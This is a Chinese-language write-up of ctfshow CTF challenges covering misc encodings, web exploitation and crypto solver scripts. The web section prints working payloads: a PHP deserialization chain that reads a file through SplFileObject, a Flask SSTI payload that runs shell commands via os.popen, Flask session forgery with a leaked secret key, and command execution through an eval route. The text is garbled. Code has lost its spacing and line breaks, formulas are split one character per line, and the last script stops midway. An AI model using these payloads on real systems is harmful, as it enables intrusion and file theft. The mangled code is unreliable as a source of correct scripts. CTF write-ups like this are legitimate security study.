。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?您让我看到了废墟中挣扎着抬起头的青草。谢谢您。"
x = x.split('。')
x =[i.split('?')for i in x]
s =[]for i in x:for j in i:
s.append(j)
s.remove('')
t =list(set(s))for i in t:print(i, s.count(i))
四句话重复出现,所以猜测可能搞了个四进制,然后爆爆爆
import itertools
from Crypto.Util.number import*
x ="我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?您让我看到了废墟中挣扎着抬起头的青草。谢谢您。"
x = x.split('。')
x =[i.split('?')for i in x]
s =[]for i in x:for j in i:
s.append(j)
s.remove('')
t =['你有没有听见孩子们的悲鸣','你是否想过......朋友不再是朋友,家园不再是家园','你有没有感受到城市在分崩离析','你不曾注意阴谋得逞者在狞笑']for k in itertools.permutations('0123'):
m =''for i in s:if i == t[0]:
m += k[0]elif i == t[1]:
m += k[1]elif i == t[2]:
m += k[2]elif i == t[3]:
m += k[3]
m = long_to_bytes(int(m,4))ifb'ctfshow'in m:print(m)# b'ctfshow{xingbucengxing_yibuzaiyi_zaikelianyilianba}'
ctfshow{xingbucengxing_yibuzaiyi_zaikelianyilianba}
低端的base64
发现大部分文本每隔四个就是5,而中文字符经过unicode编码,经过十六进制和二进制的表达,最后映射在base64中的字符大部分是5;还发现居然没有大写字母,所以猜测这段文本被lower()了,所以开始了爆破,再base64解码后找有意义的文本
# 丑陋的代码import base64
x ='5li65lqg6ziy5q2i5asn5a625oml5yqo5pon5l2c5oir5bey57up5oqk5byx6i6x6zibkgzsywcp6jep5zyo6l+z5q616k+d55qe5p+q5liq5zyw5pa55lqg77ym5l2g5lus5lin5lia5a6a5om+5b6x5yiw5zof77ym5zi75zi75zi744cc5awx56we5p2l5pwy5l2g5a626zeo77ym5bim552a56ev57sv5zkm54m55b6b77ym5z2m55m95luo5a695oqx5ous5luo5lil77ym5lin5zcs6k+d57uz5l2g5omt5lia6zki44cckgzsywcp5zyo5zoq6yem5zgakgzsywcp5zyo5zoq6yem77ymkgzsywcp5zyo6ykj5bcp5pyl5y+l55qe55y8552b6yem44cc5asp5a+55zyw77ym6zuo5a+56aoo44cc5asn6zmg5a+56zw/56m644cc5bgx6iqx5a+55rw35qcr77ym6lwk5pel5a+56iun56m544cc6zu36zqq6zqq77ym6zu+6jkz6jkz44cc5bya5bic5asn5zcj5lih5lql5lqo6yca44cc5bmz5lue5bmz5lue5bmz5bmz5lue77ym5lue5bmz5lue5bmz5lue5lue5bmz77ym5lue5lue5bmz44cc5lyx5oma5zgo55+l77ymj2n0znnob3cn55qekgzsywcp5yw35ash5lul5lil5yeg5liq54m554k577ym5lia5piv5lulj2n0znnob3cn5bya5as077ym5zco6z2i6lef552a6iqx5ous5y+35zkm5yeg5liq5awh5ocq55qe5lic6kw/77ym6ykj5liq5lic6kw/5y+r5ygaj3v1awqn77ym5li65lua5lmi5ymn6z2i6kab6k+06l+z5lmi5asa5bqf6k+d5zgi5piv5zug5li65lih5lia5lin6k+05bqf6k+d6l+z5liq6aky5bcx5asq5aw95yga5lqg6l+z5oco5lmi5y+v5lul5zgi77ym5lih5lia5pyj5lq65oqk6l+z5liq5lic6kw/5ps+5zyoy3lizxjjagvm6yem5lia5oqk5qkt5l2g5piv5qkt5lin5ye65p2l77ym54s25zco5yan57uz5oir6l+z5lmi5lia5liq6iux5pah5a2x5q+n5lia5liq6iux5pah5a2x5q+n55qe5ps55asn5bcp5yaz77ym6l+z5oco5lmi6io96kgm5zgi77ym6l+z6ikv5a6a5piv5lin6kgm55qe5a+55lin5a+5iwn0znnob3d7ymfzzty0xzfz5asq6zq+5lqgisfj5pyn5lqgvsf95oma5lul5oir6l+z5zue5zc45y+w5pwz6k6t77ym5zyo5ymn5zco6yo95yqg5lqg5lia54k554k55lic5lic77ym6l+z5qc35bcx5lin6io95pyj5bii5ykf5oml5yqo5p2l5ps55lqg5a+55lin5a+55zga44cc5oir5y+j6kkl6yem5pyj5lia5liq5bcp6k6+5ash77ym5y+v5lul6k6/6zeu5yeg5lmo5ywo6yoo55qe5lq657g755+l6k+g44cc5oir5y2055so5a6d5lio5lin6k6k6k+g55qe5lq66l+b6kgm5q+r5peg5osp5lmj55qe5lqj6k6677ym5bm255yl5o6i5aes55qe54wn54mh44cc5b2x5zon57yw56il5pwi546h5pya5asn55qe5zug57sg77ym5lin5piv5l2/55so5l2v56en57yw56il6k+t6kia77ym6icm5piv5pio5pma5l2g55qe552h55yg5piv5zcm5ywf6laz44ccssb3b3jrighhcmqgzxzlcnlkyxkgc28gdghhdcbhbgwgd2hvigxvdmugbwugd2lsbcbizsbwcm91zcbvzibtzseh6z2i5zcr5a+56lgh57yw56il55qe6zeu6aky5piv77ym6buy6k6k5bim5pyj546v5akd44cc5l2g5y+q5ooz6kab5lia5liq6aaz6jwj77ym5l2g5piv5b6x5yiw5lqg5lia5y+q5ou/552a6aaz6jwj55qe5asn54yp54yp77ym55sa6iez6l+y5pyj5pw05liq5lib5p6x44cc5l2g5lin5piv6k6o5y6mj0phdmen77ym5l2g5y+q5piv6k6o5y6m5bel5l2c44cc6icm5bcx5zyo5q2k5pe25oir5bey57up5ooz5lin5ye66aqa6k+d5lqg6l+z5y+v5oco5lmi5yqe5zga77ym5oma5lul5oir5om+576k5y+l5b6b6zug5lqg5lia5lqb6aqa6k+d6l+z5qc35oir5bcx5lin55so57un57ut56cb5a2x5lqg44cctmlnahqgaxmgbmv2zxigzgfyay5jbib0agugbmlnahqsqwxiaxp6awegaxmgc3rpbgwgcmvkllrozsbqbhvzacbxaxn0zxjpysbpcybzdglsbcbwdxjwbgutd2hpdguusxqgagfzig5vdghpbmcgdg8gzg8gd2l0acbuawdodcbvcibkyxkutglrzsxjig1pc3mgew91lel0ighhcybub3roaw5nihrvigrvihdpdgggc3vuc2hpbmugb3igcmfpbi5jdcbkb2vzbid0igv2zw4gbwf0dgvyiglmihlvdsbrbm93ig9yigrvbid0igtub3cuqwx0ag91z2ggssb3awxsihryesb0bybszxqgew91igtub3csvghpbmsgb2ygaxquu28gssbyzwpvawnlzc4g6bur5asc5yw25a6e5luo5p2l5bcx5lin5piv6bur55qe77ym6bur5asc6yem77ym5zci5qyi6iqx6l+y5piv57qi55qe44cc5q+b57us57us55qe57sr6jek6iqx6l+y5piv57sr55m96imy55qe77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o744cc5bcx5yop77ym5oir5ooz5l2g77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o777ym5zkm5pm05asp5zkm5lil6zuo5rkh5pyj5ywz57o777ym55sa6iez5zkm5l2g55+l6ygt5lin55+l6ygt6yo95rkh5pyj5ywz57o777ym5bc9566h5oir6l+y5piv5lya5bc96yep6k6p5l2g55+l6ygt77ym5ooz5yiw6l+z6yem77ym5lqo5piv5qyi5zac44cc'
x =[x[i:i +4]for i inrange(0,len(x),4)]
y =[]for i in x:
s =[]for j in i:if j.isdigit():
s.append(j)else:
s.append([j, j.upper()])
y.append(s)for i in y:
res =''print()for a in i[0]:for b in i[1]:for c in i[2]:for d in i[3]:try:print(base64.b64decode((a + b + c + d).encode()).decode(), end=', ')except:pass
部分文本
对, 对,
#t, !ct,
fsh, fsN,
ow{, w{,
bas, baY,
fܴ, e64,
ős, őY, _1s, _1Y,
太, 夐,
难, 难,
亠, 了,
!!c, !!I,
朧, 服,
亠, 了,
U!},
扚, 所,
以, 介,
最后拼拼凑凑拿到flag
ctfshow{base64_1s太难了!!I服了U!}
WEB
easy_signin
文件包含
http://*.challenge.ctf.show/?img=ZmFjZS5wbmc=)
base64b编码找index.php页面
base64解码拿flag
被遗忘的反序列化
原生类的利用
源码给出很多类,直接发现gBoBg的__toString是最好利用的,直接利用原生类查找文件并读取就好了,这里没有限制可以直接找到根目录下的flag,然后读取就可以了
poc:
<?phpclassgBoBg{public$name;public$file;public$coos;publicfunction__construct(){$this->name=1;$this->coos='SplFileObject';$this->file='/f1agaaa';}publicfunction__toString(){if(isset($this->name)){echo1;$a=new$this->coos($this->file);echo$a;}elseif(!isset($this->file)){return$this->coos->name;}else{$aa=$this->coos;$bb=$this->file;return$aa();}}}classw_wuw_w{public$aaa;public$key;public$file;publicfunction__construct(){$this->file="";$this->aaa=newgBoBg();}publicfunction__wakeup(){if(!preg_match("/php|63|\*|\?/i",$this->key)){$this->key=file_get_contents($this->file);}else{echo"不行哦";}}publicfunction__destruct(){echo$this->aaa;}publicfunction__invoke(){$this->aaa=clonenewEeE;}}// $_ip = $_SERVER["HTTP_AAAAAA"];// unserialize($_ip);$a=neww_wuw_w();echo(serialize($a));unserialize(serialize($a));// $p = 'O%3A7%3A%22w_wuw_w%22%3A3%3A%7Bs%3A3%3A%22aaa%22%3BO%3A5%3A%22gBoBg%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A4%3A%22file%22%3Bs%3A3%3A%22%2Ff%2A%22%3Bs%3A4%3A%22coos%22%3Bs%3A17%3A%22DirectoryIterator%22%3Bs%3A11%3A%22%00gBoBg%00eeee%22%3Bs%3A3%3A%22-_-%22%3B%7Ds%3A3%3A%22key%22%3BN%3Bs%3A4%3A%22file%22%3Bs%3A0%3A%22%22%3B%7D';// unserialize(urldecode($p));
payload:
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";s:0:"";}
easy_ssti
源码:
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)@app.route('/hello/')defhello(name=None):return render_template('hello.html',name=name)@app.route('/hello/<name>')defhellodear(name):if"ge"in name:return render_template_string('hello %s'% name)elif"f"notin name:return render_template_string('hello %s'% name)else:return'Nonononon'
只要实现“ge”在payload或者payload里面没有f就行,hackbar选一个打就完事了
payload:
{{g.pop.__globals__.__builtins__['__import__']('os').popen('cd ..;cat *l*').read()}}
easy_flask
注册登录拿源码app.py
# app.pyfrom flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key ='S3cr3tK3y'
users ={'admin':{'password':'LKHSADSFHLA;KHLK;FSDHLK;ASFD','role':'admin'}}@app.route('/')defindex():# Check if user is loggedinif'loggedin'in session:return redirect(url_for('profile'))return redirect(url_for('login'))@app.route('/login/', methods=['GET','POST'])deflogin():
msg =''if request.method =='POST'and'username'in request.form and'password'in request.form:
username = request.form['username']
password = request.form['password']if username in users and password == users[username]['password']:
session['loggedin']=True
session['username']= username
session['role']= users[username]['role']return redirect(url_for('profile'))else:
msg ='Incorrect username/password!'return render_template('login2.html', msg=msg)@app.route('/register/', methods=['GET','POST'])defregister():
msg =''if request.method =='POST'and'username'in request.form and'password'in request.form:
username = request.form['username']
password = request.form['password']if username in users:
msg ='Account already exists!'else:
users[username]={'password': password,'role':'user'}
msg ='You have successfully registered!'return render_template('register2.html', msg=msg)@app.route('/profile/')defprofile():if'loggedin'in session:return render_template('profile2.html', username=session['username'], role=session['role'])return redirect(url_for('login'))@app.route('/show/')defshow():if'loggedin'in session:return render_template('show2.html')@app.route('/download/')defdownload():if'loggedin'in session:
filename = request.args.get('filename')if'filename'in request.args:return send_file(filename, as_attachment=True)return redirect(url_for('login'))@app.route('/hello/')defhello_world():try:
s = request.args.get('eval')returnf"hello,{eval(s)}"except Exception as e:print(e)passreturn"hello"@app.route('/logout/')deflogout():
session.pop('loggedin',None)
session.pop('id',None)
session.pop('username',None)
session.pop('role',None)return redirect(url_for('login'))if __name__ =="__main__":
app.run(host='0.0.0.0', port=8080)
秘钥泄露了出来,flask session伪造role为admin
.eJyrVsrJT09PTcnMU7Iy1FEqys9JVbJSSkzJBQroKJUWpxblJeYihGoBhUwP8Q.ZCpWkw.ZarSk9Q-vch3R8_SvIL2klcfPls
/hello路由下可以直接命令执行:
/hello?eval=__import__('os').popen('cat /f*').read()
CRYPTO
easy_base
密文如下:
4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35
CyberChef一把🔒(无敌的magic)
ctfshow{yu_ren_j1e_haPpy!!!}
大牛的密码
e
n
c
r
y
p
t
1
(
)
encrypt1()
encrypt1()函数就是交换位子,换来换去又换回来了,所以没啥影响
e
n
c
r
y
p
t
2
(
)
encrypt2()
encrypt2()函数也是换位子,根据
S
_
B
O
X
S\_BOX
S_BOX中的元素进行重新排序,逆一下子就好了
S_BOX =[9,31,32,38,20,1,22,4,8,2,11,21,7,18,46,23,34,3,19,12,45,30,27,37,5,47,28,36,0,43,39,10,29,14,40,24,33,16,17,6,42,15,26,41,44,25,35,13]
c =[99,111,102,11,107,49,11,53,121,48,114,117,11,95,112,95,109,115,11,95,101,95,119,117,79,123,111,48,110,95,121,116,121,125,116,11,119,11,97,67,11,11,11,11,11,99,110,104]for k inrange(16):
tmp, c = c,[]for i inrange(len(S_BOX)):
c.append(tmp[S_BOX.index(i)])print(''.join([chr(i)for i in c]))# ctfshow{y0u_c5n_make_y0u1_own_CryptO}
ctfshow{y0u_c5n_make_y0u1_own_CryptO}
Comedy
a
s
s
e
r
t
m
.
b
i
t
_
l
e
n
g
t
h
(
)
<
200
A
=
(
2022
−
2023
∗
m
)
%
B
l
e
a
k
=
p
o
w
(
2
,
2023
,
B
)
assert\ m.bit\_length() < 200\\ A = (2022 - 2023 * m) \% B \\ leak = pow(2, 2023, B)
assert m.bit_length()<200A=(2022−2023∗m)%Bleak=pow(2,2023,B)
m
m
m是小于200比特的,而
B
B
B是
1334
+
1334+
1334+的,200比特不值一提,所以有
B
−
A
=
2023
∗
m
−
2022
B-A=2023*m-2022
B−A=2023∗m−2022,
A
A
A和
B
B
B很接近
又
l
e
a
k
+
k
∗
B
=
2
2023
leak+k*B = 2^{2023}
leak+k∗B=22023, 所以
k
=
2
2023
−
l
e
a
k
B
=
2
2023
−
l
e
a
k
A
k = \frac {2^{2023}-leak}{B}= \frac{2^{2023}-leak}{A}
k=B22023−leak=A22023−leak,有了
k
k
k就能求
B
B
B了,然后就简简单单
from Crypto.Util.number import*
A =493275281479560936332761096886786925792234184811353209227551802099268192839677496844153534128991899414803550843408607188612593757622064753867565869035222715177143938385039508273050267347710495512806264863554858016145161165422812554800693811328453743229819656381224407015421235005940088439590887928051969351426291843586132741521121351667152673680122929827805479163871436776753859965413192837591532468372
leak =238829196127128263156194898141748280130190920343265228257398802867203846004703877952990524473329125233083096275276064071930416561616135910190674099345267027039386328203653489152769309498199556401574021633071022874689081585677578010276529507102304828451681000682208089162940529052283763507244593173690786957816545746540436261888398732172965945762569416702401859253725696471593023885944262561159982327952
kb0 =2**2023- leak
B = kb0 //(kb0 // A)
m =(B - A +2022)//2023print(long_to_bytes(m)+ long_to_bytes(B))# b'ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}\x0c]\xee)\xa5\xb7(\xe1\x9a\xc5\x0c\xf6\x1d\xcbH\xcbz\xf9\x9b\xa8y\x9e\xc0\xd8\x82\xe5\xf5\xb2\x9b\xccQ*\x1b\x04\x8c\xcf\xb4\xb1\x1bT\xfa\x07\xee\xe5\x8bv\xdf\xe0B\xfb\x8e{\x0e\x98t\xda\xfa7\xbaeK\x03\xd9\xe1\xdf\xa7")\x8e\xf0g\xcc\xe8\x01\xe5\xb8\x9c\xeflD\x06\xfc\xab"\x8eq\x7f\x944\xfa\xdeO7\xec\x9d\xcf_\xd3\x17\xffh\x83k\xe1\x0c\xfd\xf0\xee\xcf\\pu\xe5\xa9x\xcd4#\n]\xf8\x8d\xf0\x13\xa5\\Dg'
ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}
ecc_mini
第一部分
m1 =int(str(flag)[:5])-4585
E = EllipticCurve(GF(p),[a, b])
X = E.lift_x(m1)
Y =7* X
m
1
m1
m1是一个五位数,可以爆破一下子
import tqdm
p =71397796933602469825964946338224836258949974632540581233301840806613437378503
a =106105288190268015217241182934677375171023341761047638573248022053052499733117
b =76170541771321874396004434442157725545076211607587599314450304327736999807927
E = EllipticCurve(GF(p),[a, b])for m1 in tqdm.tqdm(range(10000,99999)):try:
X = E.lift_x(m1 -4585)
Y =7* X
if Y[0]==33237936857741483513705672980652927705102229733798436323453609986072499230366:print(m1)breakexcept:pass# 62428
第二部分
k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
w2 = m[0]* m2
已知
k
,
c
1
,
c
2
,
w
2
k,c1,c2,w2
k,c1,c2,w2,有
m
=
c
1
−
k
∗
c
2
m = c1-k*c_2
m=c1−k∗c2,
m
2
=
w
2
∗
i
n
v
e
r
s
e
(
i
n
t
(
m
[
0
]
)
,
p
)
m2 = w2 * inverse(int(m[0]), p) % p
m2=w2∗inverse(int(m[0]),p)
from Crypto.Util.number import inverse, long_to_bytes
p =71397796933602469825964946338224836258949974632540581233301840806613437378503
a =106105288190268015217241182934677375171023341761047638573248022053052499733117
b =76170541771321874396004434442157725545076211607587599314450304327736999807927
k =58155941823118858940343657716409231510854647214870891375273032214774400828217
c1 =(37414446283406201193977113266234367761786780230360175925999700345196415953455,17037724145039910971426670298726906655653040365428438334942732090559637519851)
c2 =(60560423732267272277570046154733119097475794979191838027420415113112056962844,54372226143125971429691267751299496959531971082475860532181772357190222938465)
w2 =16315249811700998894876359855091105114973337718373913477026230968747515636405
E = EllipticCurve(GF(p),[a, b])
m1 =62428
c1 = E(c1)
c2 = E(c2)
m = c1 - k * c2
m2 = w2 * inverse(int(m[0]), p)% p
print(long_to_bytes(int(str(m1)+str(m2))))# b'ctfshow{the_answer_is_it}'
ctfshow{the_answer_is_it}
easy_xor
已知
m
m
m异或上
p
p
p,但是
m
m
m是256位的,这就相当于已知
p
p
p的高位,然后就是
c
o
p
p
e
r
s
m
i
t
h
coppersmith
coppersmith求
p
p
p的高位
from Crypto.Util.number import long_to_bytes
c1 =151198307301713399973545627808177783191262282577048906899567665485020342464366268384613589477129150406859219553325982275344405383612415523342568367197935454935162234419239807109194526080836070453102172720442102673200212658553214847476648456720629906051324248179394810385918370092764118401652990951968387233220
